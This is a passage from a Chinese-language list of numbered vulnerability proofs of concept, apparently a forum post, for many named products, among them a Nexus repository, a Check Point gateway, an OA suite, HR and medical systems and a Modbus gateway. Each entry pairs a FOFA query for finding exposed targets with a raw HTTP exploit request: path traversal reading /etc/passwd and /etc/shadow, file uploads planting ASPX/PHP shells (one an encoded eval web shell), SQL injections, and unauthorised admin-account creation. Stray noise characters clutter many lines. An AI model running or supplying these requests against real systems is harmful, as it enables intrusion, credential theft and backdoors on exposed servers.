* N- d+ |9 F, v/ D8 N5 N! x5 b<soap:Body>
6 q8 Y' D5 g9 b6 ?+ {+ ~# N<jobUpload xmlns="http://rainier">
/ `% [+ ?% W+ _( ]' N# J6 Y. s- C<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
$ |) K/ y  _/ `3 T</soap:Body>
9 r8 \* Z+ E, I% G8 S</soap:Envelope>

3 x4 v1 e# m+ n* R
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

/ G& L7 J9 F/ q4 K$ S
( X9 G( `+ Z- D% R4 A& n2 f160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
2 `/ [5 @9 J) H6 F/ Q! C0 uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
2 }5 x4 E, U2 w$ VConnection: close
Accept: */*
Accept-Language: en
# _# a+ [  ?9 CAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
. {5 `) S/ N* r+ G第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
2 i- @3 a& H& j" V% EContent-Length: 445
9 W' Q8 W. A& a; J! \! P3 VContent-Type: text/xml
Accept-Encoding: gzip
- s9 Z2 H. H7 h3 O) r2 L9 y' u) P7 p( S: S
<?xml version="1.0" encoding="utf-8"?>
- I! p7 x9 a2 D7 l# M! c<soap:Envelope xmlns:xsi="
8 J1 p& W" W+ _5 E, Ehttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
% A* X  N! e  Lxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
# `% @6 U. a- y, J# f<UploadResume xmlns="http://tempuri.org/">
* _: [7 |! c# [3 `- K5 {<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
2 H6 h4 b; u, Y' _& A, o2 H2 K<tag>3</tag>
/ @8 q5 ~0 Y; y, u0 X9 B: @</UploadResume>
</soap:Body>
1 @3 p( K" ]# {& q7 {- l</soap:Envelope>


& n4 w; A' v, f+ }http://x.x.x.x/dizxdell.aspx
" D" Q, u6 c- m$ I/ o" K
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
! }; F# t: }# U2 Z+ U% TFOFA: app="和丰山海-数字标牌"
( H  h. S3 t& N. {& m; w# zPOST /QH.aspx HTTP/1.1
" ~$ r# U8 Y4 g+ _5 q- z4 IHost: x.x.x.x
  d3 l; R8 a2 X" s( _) G! hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
& o% f  G! c3 V, D. kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
5 c! o+ ?' \0 N  V) l' ~7 EAccept-Encoding: gzip

2 D5 f& i7 ^/ ]3 f, Z" L& v------WebKitFormBoundaryeegvclmyurlotuey
: B3 c- n' r7 OContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
, S1 N  o3 _: Q- v* mContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
. {; n% u" S8 o# [0 I9 B- g------WebKitFormBoundaryeegvclmyurlotuey
/ Z) p7 j1 t+ O% j6 u" m) H' j+ YContent-Disposition: form-data; name="action"
' e" W2 U8 O: I% @
upload
' B8 q; Z9 h% v4 J------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

1 w$ S. D; o- ~/ d9 B5 C# wResourceNewResponder
+ U0 o% J, J' d------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
, S& c& r9 J/ L9 Z
& h, r6 b' x8 n/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
9 X8 u( S( {+ G. |3 Q
$ N0 O+ U+ o" ]4 g+ A
$ S7 J5 @8 T2 H5 f" _2 V1 Ehttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# z8 Y& y' b! u+ B6 BConnection: close
Content-Length: 293
, @5 q# V% a, K, l, w3 {% d3 |, mAccept: */*
1 m/ Y; `; u0 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- S5 G: x5 r5 V* i" Z2 {& nContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
: P' O7 v6 Z- r
( z+ P8 I8 S5 X------iiqvnofupvhdyrcoqyuujyetjvqgocod
" {$ g0 y9 j5 H/ x! H3 `1 q( E; ]Content-Disposition: form-data; name="name"
4 k  z" U4 m5 @- T" w
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
. Y- i* n7 ^& h" `6 kContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
+ h5 ?. f) m' l( o; l' y1 {) L------iiqvnofupvhdyrcoqyuujyetjvqgocod--

7 |$ E; C: O  I% `) X
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
7 B3 N* y' M  Z0 _. L. z3 a! _+ DHost: x.x.x.x
* N% |, V; T1 y, }% p2 k+ S7 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
/ X6 F7 ?: b8 f& V4 U/ m2 g/ @  wAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
2 H' C' _7 [* |' J8 ^Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
+ k! B+ q2 O+ w# h% `5 xContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
& U: t) ]8 a; U6 F  R
/ J6 ~# |" Y4 E2 [9 D- Q& p<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


: t6 j) \) s$ z- R  L! P" fhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
7 S1 e7 E1 `& _3 A; h) a  I
' U" ^" n5 d* b6 t. H165. OrangeHRM 3.3.3 SQL 注入
6 L4 \$ Y: {) F% T- U1 |3 BCVE-2024-36428
FOFA: app="OrangeHRM-产品"
, p$ W5 j0 B% M" P+ BURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
6 R( h& z9 Z; Y7 Z8 [# TFOFA：body="技术支持：北京中成科信科技发展有限公司"
/ Z+ x6 C9 }  UPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
+ r/ J" Z( V+ K- o( rHost:
/ C: F! a! Y" Z2 R$ t6 c" RPragma: no-cache
7 o% }* A5 F: G; }! PCache-Control: no-cache
Upgrade-Insecure-Requests: 1
: m! [' i1 T7 F4 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
% v/ d6 p, ]/ p$ UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ V2 }3 L  Q4 q5 X5 EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
, a. m# u5 D# U6 kCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
( \# X% u" Z  {8 X) hConnection: close
! e% ~% N0 M* C2 G  ~, |Content-Type: application/x-www-form-urlencoded
+ W- a+ U* y( w! [1 bContent-Length: 89
  @! b5 ^) V# T8 _% Z
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

, M# Q" y0 v1 ^
167. 精益价值管理系统 DownLoad.aspx任意文件读取
# I& D( _% F7 o5 TFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
. N3 `& \' G2 o+ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ M( T! [9 x7 e+ A( L/ FAccept-Encoding: gzip, deflate
Accept: */*
1 h+ e5 l" N. C$ c% p8 J- vConnection: keep-alive
5 {9 o7 ^( |; X

168. 宏景EHR OutputCode 任意文件读取
7 q: e6 [' f! }( R* u) JFOFA：app="HJSOFT-HCM"
% n" W& K, ]$ eGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



169. 宏景EHR downlawbase SQL注入
3 b9 O! n& C- a8 EFOFA：app="HJSOFT-HCM"
( d2 ?& a+ ?* B, mGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
& L$ W+ o& Y2 K6 `1 o( SAccept-Encoding: gzip, deflate
7 `- |  O. k, P' m9 u! X3 G+ p2 ]0 B2 oConnection: close



7 V; `5 W% V  p2 h  [' c170. 宏景EHR DisplayExcelCustomReport 任意文件读取
; Q: W( `; t" |2 CFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# S/ K* P7 N, s% v* i' x- T( t
% N  `6 n6 B# V; Y/ {* hfilename=../webapps/ROOT/WEB-INF/web.xml

' {9 V5 a. ~; H! j
; V2 e9 v1 }( Y- t) D4 |171. 通天星CMSV6车载定位监控平台 SQL注入
$ \8 ^9 i; X: W7 hFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
1 X! @8 k! S/ l9 @* Q% O/ g: V! c! W- ZHost: your-ip
: E' v( Y% M9 I' N: T" _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
* s% i8 w$ k1 c( [. ^* n5 XAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

/ d& y4 K5 P/ X7 P4 [. S2 a

  t: n$ T) Z* A172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
+ }0 p) _7 O5 g9 R- qGET /../../../../etc/passwd HTTP/1.1
9 c8 l1 r7 ]7 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 ?  F' n9 m, d- ?$ ?5 MAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


5 k) X: W$ I1 k  ?
: o$ r$ D; u: w% ]# i+ r9 w173. Check Point 安全网关任意文件读取
  x9 {0 Z$ @5 G6 ~( ~CVE-2024-24919
- i+ `  v0 J; ^+ W* X2 zFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
8 d7 s  z5 _& D) m$ JContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
2 B# I( [" f/ P& v$ HGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
7 A8 J* A+ r. L: c; v6 iHost: your-ip
" Q& J/ p3 Z6 R! j3 U# ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  J, Q1 @0 `) q' Y) `Accept-Encoding: gzip, deflate, br
# L% V" F) u' \# r$ U2 BAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 e+ U% p" K; ~3 [% q: q" d) |" s


$ A  M& \* i; T4 c9 R175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
/ [, D" c3 U7 C8 A6 ]+ GUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 m+ H6 U, D- rConnection: close
Upgrade-Insecure-Requests: 1
) K" q# L: S3 a/ h
0 \: S! C% b  e, ]
176. 电信网关配置管理系统 rewrite.php 文件上传
, e& X+ t" s; b2 ?5 TFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
  Z! k8 M  N3 A& @: R. d, GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 r9 F8 j' ]' m; I  WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
+ k, H3 S. y: U( s  T# \" GConnection: close
+ F  x+ ?, [9 j- u& d( ]: h
% u# k: z6 @/ M  T; N" l; T------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
- |$ g+ Z) b  ZContent-Type: image/png
$ h* ]+ I8 R, x+ R1 X; {( s
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
7 x2 }) }! x4 AContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--

, L+ G2 u* I, a. M+ S
$ ~; z5 |1 J; J2 L" U( G
9 v% L( ~  w1 G* L) l% d177. H3C路由器敏感信息泄露
- Q9 B4 ?  Z. ~+ @  S2 @/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
4 R  `+ e0 ^" ]5 i6 y/userLogin.asp/../actionpolicy_status/../M60.cfg
4 y- X0 j6 y! ?: _; `  T: S/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
' p  D+ k" M5 T, a5 ?% K/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
; K" K7 f# c- E7 Y! `0 @% m% L/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
4 @0 D% C! T9 g1 l. {  q$ z/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
" ~  {1 Z6 |( V/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
* X3 \2 F6 [% n  r7 L/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
# C. G5 g( V" g4 A: t/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
- b+ Z2 g, c9 C! ], I" N

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
8 H! k+ `& Z" [6 G! S% CPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
& U7 \# s: O" B; iConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
2 @' w1 {5 Y9 \- c! f# v8 ?-----------------aqutkea7vvanpqy3rh2l
) P+ }8 f' `3 a/ PContent-Disposition: form-data; name="12234.txt"; filename="12234"
$ r% N" W2 D: y, W) UContent-Type: application/octet-stream
4 _6 z; i; i* q' vContent-Length: 255

8 D* m% O1 ~4 ~9 e5 O+ Z12234
-----------------aqutkea7vvanpqy3rh2l--
' g- W4 p6 Q; k: f
: I* J3 O8 j2 |
GET /imc/primepush/%2e%2e/flex/12234.txt

/ z( W+ J1 h( j' k& T7 l
179. 建文工程管理系统存在任意文件读取
. k" M: ?! F( r1 F) y+ z# NPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
: X  ?# U( G# P4 P: W$ T: \4 GContent-Type: application/x-www-form-urlencoded
+ n* s/ n( w3 i, N2 R% e8 jUser-Agent: Mozilla/5.0
8 x" P+ ~& l2 A9 I
path=../log4net.config&Name=
, ?2 R: Z1 }* U/ U

180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
5 X  r2 y; n' B+ l% _' GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! ^# r; o2 {; j$ V7 e! zAccept-Encoding: gzip, deflate
" C& M- F1 R+ @3 N4 f2 ^Accept-Language: zh-CN,zh;q=0.9
Connection: close


6 g1 k4 k8 p% \, c7 x181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
2 @( [% X  d# S6 r& p/ [POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
+ _: D+ ?& y9 I* E( B# QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, G( L( v. C+ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
0 t+ Q3 ]7 F$ w

8 O$ G7 K, m) z8 L' f0 v8 `action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
9 E2 a* {- r+ R8 O7 R
% W" M. ]" |% O0 _( [
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
' T* B5 [4 e& _, a- }( u$ IPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
4 Y/ N% L! C: p( q: j+ C: w0 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- d4 K. P- F4 h+ I4 H& iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' t6 C5 F* h8 B0 QContent-Type: application/x-www-form-urlencoded
& k! A9 Y/ i- m
1 A& Y+ f- j8 Y6 ^2 U% C
: `2 w) r5 c/ |8 husername=test1234&pwd=test1234&savedays=1
$ u% s" M9 [* V6 U
3 P: a( }6 I9 f
% b1 S' ?" q$ d: D5 ~9 z183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
- }+ V& y3 a( a1 r; LFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# R; k5 ?) S: M$ n; w7 P8 z2 o1 x. bAccept-Encoding: gzip, deflate
Connection: close

, V2 f/ c3 o; g2 S& A" A4 q
6 Y6 l& s4 B$ O/ q# t( \9 E: K184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
) B2 S3 H% F4 S8 T: BHost: your-ip
7 c) W# K, m8 MAccept-Encoding: gzip, deflate
3 i  N+ @$ ~. G& q8 k; S. XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
: X  q/ p) U9 x" Q- b6 r
/ q: H: K; ]# S4 Z# O
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
9 _, T2 H- A6 L2 K

! q# n8 d! H4 Z/ i185. 瑞友天翼应用虚拟化系统SQL注入
" N% n3 e7 {  w2 _version < 7.0.5.1
) u) }7 |4 {0 ~8 l6 {! m+ I' AFOFA：app="REALOR-天翼应用虚拟化系统"
0 `- o/ |. X8 \$ X9 `( KGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
) X  O  r, Y/ |4 `- ?7 Q* W
6 V  v/ n# @  g# N6 b% g- ?
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
, ]- K# G2 J+ b0 PFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
3 u( }6 @) t4 i+ i1 I1 `  MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
0 k% t! a) d- |' q% U8 o: HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  v( ?% j+ B& Q- jAccept-Encoding: gzip, deflate
; Z1 {# c* l, M0 ~; S% A& {Connection: close
& a# z$ t. D+ q- n2 L- n5 g+ g# YContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

( Q$ w6 M8 c( t3 Z. k8 m+ v
187. Mura CMS processAsyncObject SQL注入
* d( K- [* X- ]  YCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
' V& T/ W8 A1 T( j- Q
& d$ `/ D' e2 ]: Z5 Q
! ^: q+ j0 S3 w+ C1 p$ `# Robject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
! P; u% @4 s! \5 t; O

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
& _' d4 p! S# o; L* e5 j/ Y4 G6 `/ qFOFA：body="/system/get_rtc_user_defined_info?site_id"
+ E* E8 {. H1 a0 I$ R& y/ WGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* d& a/ i, \: dAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
! I) D& }0 D' u$ P+ `
% r  m5 c5 U* W6 w9 V+ P, O
2 P* n5 q" \  @3 B189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
0 R& z0 i2 q5 f' k) mGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
1 B) W9 }0 q1 r! j6 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& t1 c+ q% F' E* O1 eAccept-Encoding: gzip, deflate
& p2 f6 z6 U; tAccept-Language: zh-CN,zh;q=0.9
Connection: close
, e' u6 G" }8 o, ]+ f

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
